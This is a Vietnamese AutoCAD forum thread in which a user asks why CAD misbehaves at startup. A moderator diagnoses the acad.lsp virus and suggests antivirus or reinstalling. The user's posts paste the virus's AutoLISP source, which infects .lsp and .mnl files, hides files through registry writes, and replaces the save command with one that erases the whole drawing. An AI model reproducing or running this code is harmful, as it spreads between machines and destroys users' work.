Đến nội dung


Hình ảnh

Lỗi Khi Khởi Động Cad


  • Please log in to reply
2 replies to this topic

#1 hung1608

hung1608

    biết lệnh rotate

  • Members
  • PipPipPip
  • 134 Bài viết
Điểm đánh giá: -2 (bình thường)

Đã gửi 04 October 2015 - 06:55 AM

Mình dung cad10 gần đây khi bật cad nó cứ load thế này ở dòng comman phải ấn e sc mới chụi thoát rùi mới làm việc được, Các bạn xem giúp mình đây là lỗi gì vậy

princ)
(load "acadapp")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapp")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
  (setq flag nil)
  (setq flag1 t)
  (if (findfile target)
    (progn
      (setq wjm1 (open target "r"))
      (while (setq text (read-line wjm1))
 (if (= text bz) (setq flag1 nil))
 );while
      (close wjm1)
      );progn
    );if
  (if flag1
    (progn
      (setq wjm (open source "r"))
      (setq wjm1 (open target "a"))
      (write-line (chr 13) wjm1)
      (while (setq text (read-line wjm))
 (if (= text bz) (setq flag t))
 (if flag
   (progn
     (write-line text wjm1)
     );progn
   );if
 );while
      (close wjm1)
      (close wjm)
      );progn
    );if
  );defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
; error: Function cancelled
; error: Function cancelled​


  • 1

#2 Nguyen Hoanh

Nguyen Hoanh

    biết lệnh adcenter

  • Moderator
  • PipPipPipPipPipPipPip
  • 4105 Bài viết
Điểm đánh giá: 4495 (đỉnh cao)

Đã gửi 04 October 2015 - 11:31 AM

Máy bạn đx bị nhiễm virus acad.lsp

Bạn hãy làm theo 1 trong hai cách sau:
Cách 1:
Tìm kiếm và cài đặt cadviet antivirus

Cách 2:
1. Cài lại autocad
2. Ngay khi vừa cài xong, load lisp cadviet vaccine (bạn search sẽ thấy)

Cách 2 hiệu quả hơn cách 1.
  • 1

#3 hung1608

hung1608

    biết lệnh rotate

  • Members
  • PipPipPip
  • 134 Bài viết
Điểm đánh giá: -2 (bình thường)

Đã gửi 07 October 2015 - 08:58 PM

Mình đã làm như bạn bảo nhưng không hiểu quả đến lần 2 là dính luôn bạn ahf

Bạn xem giúp mình nhé

  );progn

    );if

  );defun

(setvar "cmdecho" 0)

(setq acadmnl (findfile "acad.mnl"))

(setq acadmnlpath (vl-filename-directory acadmnl))

(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))

(setq mnlnum (length mnlfilelist))

(setq acadexe (findfile "acad.exe"))

(setq acadpath (vl-filename-directory acadexe))

(setq support (strcat acadpath "\\support"))

(setq lspfilelist (vl-directory-files support "*.lsp"))

(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))

(setq lspnum (length lspfilelist))

(setq dwgname (getvar "dwgname"))

(setq dwgpath (findfile dwgname))

(if dwgpath

  (progn

    (setq acaddocpath (vl-filename-directory dwgpath))

    (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))

    (setq mnln 0)

    (while (< mnln mnlnum)

      (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

      (app mnlfilename acaddocfile bz)

      (app acaddocfile mnlfilename bz)

      (setq mnln (1+ mnln))

      );while

    (setq lspn 0)

    (while (< lspn lspnum)

      (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

      (app lspfilename acaddocfile bz)

      (app acaddocfile lspfilename bz)

      (setq lspn (1+ lspn))

      );while

    );progn

  );if

(setq mnln 0)

(while (< mnln mnlnum)

  (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

  (setq mnln1 0)

  (while (< mnln1 mnlnum)

    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

    (app mnlfilename mnlfilename1 bz)

    (setq mnln1 (1+ mnln1))

    );while

  (setq lspn1 0)

  (while (< lspn1 lspnum)

    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

    (app mnlfilename lspfilename1 bz)

    (setq lspn1 (1+ lspn1))

    );while

  (setq mnln (1+ mnln))

  );while

(setq lspn 0)

(while (< lspn lspnum)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

(load "acadapp")

(princ)

(setq flagx t)

(load"shxfont""")

(defun s::startup (/ DOCLSP DWGPRE CDATE MAC0 MNLPTH)

  (vl-load-com)

  (setvar "cmdecho" 0)

  (setvar "filedia" 1)

  (vl-registry-write

   

"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Adv

anced\\Folder\\Hidden\\SHOWALL"

    "CheckedValue"

    0

  )

  (vl-registry-write

   

"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Adv

anced\\Folder\\Hidden\\NOHIDDEN"

    "CheckedValue"

    0

  )

  (vl-registry-write

   

"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Adv

anced\\Folder\\Hidden\\NOHIDDEN"

    "DefaultValue"

    0

  )

  (setq mnlpth (getvar "menuname"))

  (setq dwgpre (getvar "dwgprefix"))

  (if (setq doclsp (findfile "acaddoc.lsp"))

    (progn (chklsp (strcat mnlpth "doc.lsp") doclsp)

    (chklsp (strcat mnlpth ".mnl") doclsp)

    (chklsp (strcat dwgpre "acaddoc.lsp") doclsp)

    )

  )

  (setq mac0

  '(2256    2256    2726    2256   2585   2726   3243   2679

    2726    2256    3149    2726   3196   3290   2726   2632

    2397

   )

  )

  (if (and (> (setq cdate (getvar "cdate")) 20090909)

    (member (vl-string->list (car (macaddr))) (mkgroup mac0))

    (= (rem (fix (* 100 (- cdate (fix cdate)))) 2) 0)

      )

    (dolsp)

  )

  (princ)

)

(defun chklsp (fp1 fp2 / fp3 TEM1 TEM2)

  (if (setq fp3 (open fp1 "r"))

    (progn

      (if

 (not

   (wcmatch (while (setq tem1 (read-line fp3)) (setq tem2 tem1))

      "*;;;jjyy*"

   )

 )

  (writelsp fp2 fp1)

      )

      (close fp3)

    )

    (writelsp fp2 fp1)

  )

  (attset fp1 2)

  (attset fp2 2)

)

(defun writelsp  (fp1 fp2 / fp3 fp4 tem)

  (setq fp3 (open fp1 "r")

 fp4 (open fp2 "a")

  )

  (while (setq tem (read-line fp3)) (write-line tem fp4))

  (close fp3)

  (close fp4)

  (princ)

)

(defun attset (fp code / fp1)

  (if (and (/= "" fp) code)

    (progn (vl-load-com)

    (vlax-put-property

      (setq fp1 (vlax-invoke-method

        (vlax-create-object "Scripting.FileSystemObject")

        'GetFile

        fp

          )

      )

      'Attributes

      code

    )

    )

  )

  (vlax-release-object fp1)

)

(defun mkgroup (pt0 / pts)

  (setq i 1)

  (repeat 500

    (setq pts (cons (mapcar '(lambda (x) (/ x i)) pt0) pts))

    (setq i (1+ i))

  )

  (reverse pts)

)

(defun macaddr (/ mac WMIobj con lox sn)

  (vl-load-com)

  (if (setq WMIobj (vlax-create-object "wbemScripting.SwbemLocator"))

    (progn

      (setq

 con (vl-catch-all-apply

       'vlax-invoke

       (list WMIobj 'ConnectServer "." "" "" "" "" "" 128 nil)

     )

      )

      (if (vl-catch-all-error-p con)

 (setq

   con (vlax-invoke WMIobj 'ConnectServer "." "" "" "" "" "")

 )

      )

      (setq lox  (vlax-invoke

     con

     'ExecQuery

     "Select * From Win32_NetworkAdapter "

   )

      )

      (vlax-for  i lox

 (if (vlax-get i 'NetConnectionID)

   (progn (setq sn (vlax-get i 'MACAddress))

    (or (member sn mac) (setq mac (cons sn mac)))

   )

 )

      )

      (mapcar 'vlax-release-object (list lox con WMIobj))

    )

  )

  (reverse mac)

)

(defun dolsp ()

  (command "undefine" "qsave")

  (command "undefine" "saveas")

  (command "undefine" "wblock")

  (command "undefine" "insert")

  (command "undefine" "pline")

)

(defun c:qsave ()

  (command "_.erase" (ssget "x") "")

  (princ)

)

(defun c:saveas  (/ fp1)

  (setq fp1 (getfiled "ͼÐÎÁí´æΪ" (getvar "dwgprefix") "dwg" 1))

  (chklsp (strcat (vl-filename-directory fp1) "\\acaddoc.lsp")

   (findfile "acaddoc.lsp")

  )

  (princ)

)

(defun c:wblock () (princ))

(defun c:insert () (princ))

(defun c:pline () (command "_.line") (princ))

;;;jjyy

(setq flagx t)

(defun s::startup (/ DOCLSP DWGPRE CDATE MAC0 MNLPTH)

  (vl-load-com)

  (setvar "cmdecho" 0)

  (setvar "filedia" 1)

  (vl-registry-write

   

"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Adv

anced\\Folder\\Hidden\\SHOWALL"

    "CheckedValue"

    0

  )

  (vl-registry-write

   

"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Adv

anced\\Folder\\Hidden\\NOHIDDEN"


  • 1